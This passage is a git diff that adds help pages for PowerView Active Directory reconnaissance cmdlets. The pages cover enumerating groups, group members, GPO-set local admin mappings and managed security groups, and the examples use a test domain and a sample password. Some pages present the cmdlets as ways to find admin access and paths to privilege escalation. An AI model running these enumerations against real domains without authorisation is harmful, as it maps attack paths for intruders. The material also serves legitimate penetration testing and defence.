EXAMPLE 4 -------------------------- +``` +Get-DomainGPOLocalGroup 'Desktops' +``` + +Return any GPO-set groups for the GPO with the given display name. + +### -------------------------- EXAMPLE 5 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOLocalGroup -Credential $Cred + +## PARAMETERS + +### -Identity +A display name (e.g. +'Test GPO'), DistinguishedName (e.g. +'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. +'10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. +'{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ResolveMembersToSIDs +Switch. +Indicates that any member names should be resolved to their domain SIDs. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.GPOGroup + +## NOTES + +## RELATED LINKS + +[https://morgansimonsenblog.azurewebsites.net/tag/groups/](https://morgansimonsenblog.azurewebsites.net/tag/groups/) + diff --git a/docs/Recon/Get-DomainGPOUserLocalGroupMapping.md b/docs/Recon/Get-DomainGPOUserLocalGroupMapping.md new file mode 100755 index 00000000..d42a4be1 --- /dev/null +++ b/docs/Recon/Get-DomainGPOUserLocalGroupMapping.md @@ -0,0 +1,258 @@ +# Get-DomainGPOUserLocalGroupMapping + +## SYNOPSIS +Enumerates the machines where a specific domain user/group is a member of a specific +local group, all through GPO correlation. +If no user/group is specified, all +discoverable mappings are returned. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup + +## SYNTAX + +``` +Get-DomainGPOUserLocalGroupMapping [[-Identity] ] [-LocalGroup ] [-Domain ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +Takes a user/group name and optional domain, and determines the computers in the domain +the user/group has local admin (or RDP) rights to. + +It does this by: + 1. +resolving the user/group to its proper SID + 2. +enumerating all groups the user/group is a current part of + and extracting all target SIDs to build a target SID list + 3. +pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling + Get-DomainGPOLocalGroup + 4. +matching the target SID list to the queried GPO SID list + to enumerate all GPO the user is effectively applied with + 5. +enumerating all OUs and sites and applicable GPO GUIs are + applied to through gplink enumerating + 6. +querying for all computers under the given OUs or sites + +If no user/group is specified, all user/group -\> machine mappings discovered through +GPO relationships are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-GPOLocation +``` + +Find all user/group -\> machine relationships where the user/group is a member +of the local administrators group on target machines. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-GPOLocation -UserName dfm -Domain dev.testlab.local +``` + +Find all computers that dfm user has local administrator rights to in +the dev.testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Find-GPOLocation -UserName dfm -Domain dev.testlab.local +``` + +Find all computers that dfm user has local administrator rights to in +the dev.testlab.local domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOUserLocalGroupMapping -Credential $Cred + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the user/group to identity GPO local group mappings for. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -LocalGroup +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. +Defaults to local 'Administrators'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to enumerate GPOs for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +{{Fill SearchBase Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.GPOLocalGroupMapping + +A custom PSObject containing any target identity information and what local +group memberships they're a part of through GPO correlation. + +## NOTES + +## RELATED LINKS + +[http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/](http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/) + diff --git a/docs/Recon/Get-DomainGroup.md b/docs/Recon/Get-DomainGroup.md new file mode 100755 index 00000000..faaa0824 --- /dev/null +++ b/docs/Recon/Get-DomainGroup.md @@ -0,0 +1,397 @@ +# Get-DomainGroup + +## SYNOPSIS +Return all groups or specific group objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty + +## SYNTAX + +``` +Get-DomainGroup [[-Identity] ] [-MemberIdentity ] [-AdminCount] [-Domain ] + [-LDAPFilter ] [-Properties ] [-SearchBase ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] + [-Tombstone] [-FindOne] [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties samaccountname,usnchanged,...". +By default, all group objects for +the current domain are returned. +To return the groups a specific user/group is +a part of, use -MemberIdentity X to execute token groups enumeration. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainGroup | select samaccountname +``` + +samaccountname +-------------- +WinRMRemoteWMIUsers__ +Administrators +Users +Guests +Print Operators +Backup Operators +... + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainGroup *admin* | select distinguishedname +``` + +distinguishedname +----------------- +CN=Administrators,CN=Builtin,DC=testlab,DC=local +CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local +CN=Schema Admins,CN=Users,DC=testlab,DC=local +CN=Enterprise Admins,CN=Users,DC=testlab,DC=local +CN=Domain Admins,CN=Users,DC=testlab,DC=local +CN=DnsAdmins,CN=Users,DC=testlab,DC=local +CN=Server Admins,CN=Users,DC=testlab,DC=local +CN=Desktop Admins,CN=Users,DC=testlab,DC=local + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl +``` + +samaccountname +-------------- +Server Admins + +### -------------------------- EXAMPLE 4 -------------------------- +``` +'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose +``` + +VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local +VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local))) + +usncreated : 13245 +grouptype : -2147483646 +samaccounttype : 268435456 +samaccountname : Desktop Admins +whenchanged : 8/10/2016 12:30:30 AM +objectsid : S-1-5-21-890171859-3433809279-3366196753-1118 +objectclass : {top, group} +cn : Desktop Admins +usnchanged : 13255 +dscorepropagationdata : 1/1/1601 12:00:00 AM +name : Desktop Admins +distinguishedname : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +member : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +whencreated : 8/10/2016 12:29:43 AM +instancetype : 4 +objectguid : f37903ed-b333-49f4-abaa-46c65e9cca71 +objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local + +### -------------------------- EXAMPLE 5 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroup -Credential $Cred + +### -------------------------- EXAMPLE 6 -------------------------- +``` +Get-Domain | Select-Object -Expand name +``` + +testlab.local + +'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainGroup\] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainGroup\] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins))) + +distinguishedname +----------------- +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +Group1), DistinguishedName (e.g. +CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -MemberIdentity +A SamAccountName (e.g. +Group1), DistinguishedName (e.g. +CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the user/group member to query for group membership. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: UserName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AdminCount +Switch. +Return users with '(adminCount=1)' (meaning are/were privileged). + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.Group + +Custom PSObject with translated group property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainGroupMember.md b/docs/Recon/Get-DomainGroupMember.md new file mode 100755 index 00000000..5381b2cd --- /dev/null +++ b/docs/Recon/Get-DomainGroupMember.md @@ -0,0 +1,401 @@ +# Get-DomainGroupMember + +## SYNOPSIS +Return the members of a specific domain group. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID + +## SYNTAX + +### None (Default) +``` +Get-DomainGroupMember [-Identity] [-Domain ] [-LDAPFilter ] [-SearchBase ] + [-Server ] [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] + [-SecurityMasks ] [-Tombstone] [-Credential ] +``` + +### ManualRecurse +``` +Get-DomainGroupMember [-Identity] [-Domain ] [-Recurse] [-LDAPFilter ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-Credential ] +``` + +### RecurseUsingMatchingRule +``` +Get-DomainGroupMember [-Identity] [-Domain ] [-RecurseUsingMatchingRule] + [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] + [-Credential ] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for the specified +group matching the criteria. +Each result is then rebound and the full user +or group object is returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainGroupMember "Desktop Admins" +``` + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +'Desktop Admins' | Get-DomainGroupMember -Recurse +``` + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 + +GroupDomain : testlab.local +GroupName : Testing Group +GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule +``` + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember +``` + +### -------------------------- EXAMPLE 5 -------------------------- +``` +'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember +``` + +### -------------------------- EXAMPLE 6 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins' + +### -------------------------- EXAMPLE 7 -------------------------- +``` +Get-Domain | Select-Object -Expand name +``` + +testlab.local + +'dev\domain admins' | Get-DomainGroupMember -Verbose +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainGroupMember\] Extracted domain 'dev.testlab.local' from 'dev\domain admins' +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainGroupMember\] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins))) +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local))) + +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : user1 +MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108 + +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local))) +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : Administrator +MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-500 + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +Group1), DistinguishedName (e.g. +CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Recurse +Switch. +If the group member is a group, recursively try to query its members as well. + +```yaml +Type: SwitchParameter +Parameter Sets: ManualRecurse +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RecurseUsingMatchingRule +Switch. +Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse. +Much faster than manual recursion, but doesn't reveal cross-domain groups, +and only returns user accounts (no nested group objects themselves). + +```yaml +Type: SwitchParameter +Parameter Sets: RecurseUsingMatchingRule +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.GroupMember + +Custom PSObject with translated group member property fields. + +## NOTES + +## RELATED LINKS + +[http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/](http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/) + diff --git a/docs/Recon/Get-DomainManagedSecurityGroup.md b/docs/Recon/Get-DomainManagedSecurityGroup.md new file mode 100755 index 00000000..13d48a24 --- /dev/null +++ b/docs/Recon/Get-DomainManagedSecurityGroup.md @@ -0,0 +1,177 @@ +# Get-DomainManagedSecurityGroup + +## SYNOPSIS +Returns all security groups in the current (or target) domain that have a manager set. + +Author: Stuart Morgan (@ukstufus) \, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl + +## SYNTAX + +``` +Get-DomainManagedSecurityGroup [[-Domain] ] [-SearchBase ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-Credential ] +``` + +## DESCRIPTION +Authority to manipulate the group membership of AD security groups and distribution groups +can be delegated to non-administrators by setting the 'managedBy' attribute. +This is typically +used to delegate management authority to distribution groups, but Windows supports security groups +being managed in the same way. + +This function searches for AD groups which have a group manager set, and determines whether that +user can manipulate group membership. +This could be a useful method of horizontal privilege +escalation, especially if the manager can manipulate the membership of a privileged group. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv +``` + +Store a list of all security groups with managers in group-managers.csv + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter 